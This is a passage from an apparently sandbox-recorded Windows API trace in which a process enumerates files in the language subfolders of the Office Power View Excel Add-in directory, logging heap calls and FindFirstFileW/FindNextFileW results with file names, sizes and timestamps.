lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0279.895] GetProcessHeap () returned 0xaf0000 [0279.895] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0279.895] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0279.898] GetProcessHeap () returned 0xaf0000 [0279.898] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0279.898] GetProcessHeap () returned 0xaf0000 [0279.898] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0279.898] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0279.901] GetProcessHeap () returned 0xaf0000 [0279.901] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0279.901] GetProcessHeap () returned 0xaf0000 [0279.901] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0279.901] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0279.903] GetProcessHeap () returned 0xaf0000 [0279.903] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0279.904] GetProcessHeap () returned 0xaf0000 [0279.904] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0279.904] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0280.075] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.075] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6c6bda4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x13bb3be0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3440, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.075] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bae279, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bd443f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.075] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4a98712, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4abe91a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.075] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61b1409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61b1409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61d7668, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5240, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.075] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13a8299e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aa8b23, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.he.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.075] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13a8299e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aa8b23, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.he.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.075] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0280.076] GetProcessHeap () returned 0xaf0000 [0280.076] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.076] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0280.077] GetProcessHeap () returned 0xaf0000 [0280.077] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.077] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0280.078] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.078] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1466e4fb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.078] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa806c3d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.079] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcc3c8ab, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc3c8ab, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.079] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6866e01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.079] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1428e945, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x142b4b24, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.hi.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.079] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1428e945, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x142b4b24, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.hi.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.079] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0280.080] GetProcessHeap () returned 0xaf0000 [0280.080] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.080] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0280.080] GetProcessHeap () returned 0xaf0000 [0280.080] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.080] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0280.082] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.082] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x14268686, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc40d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.082] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaf07af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf07af2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf2dd35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.082] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.082] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e310c7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e310c7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e7d566, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.082] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13b67741, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f598, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.hr.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.082] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13b67741, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f598, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.hr.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.082] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0280.083] GetProcessHeap () returned 0xaf0000 [0280.084] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.084] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0280.084] GetProcessHeap () returned 0xaf0000 [0280.084] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.084] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0280.085] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.085] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5eb74f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5eb74f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4c78, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.086] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa937f07, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.109] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6164f96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.109] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x54ef2e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x54ef2e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x575324, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4d20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.110] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14648313, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1466e4fb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50d09, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.hu.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.110] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14648313, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1466e4fb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50d09, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.hu.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.110] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0280.111] GetProcessHeap () returned 0xaf0000 [0280.111] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.111] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0280.111] GetProcessHeap () returned 0xaf0000 [0280.111] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.111] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, 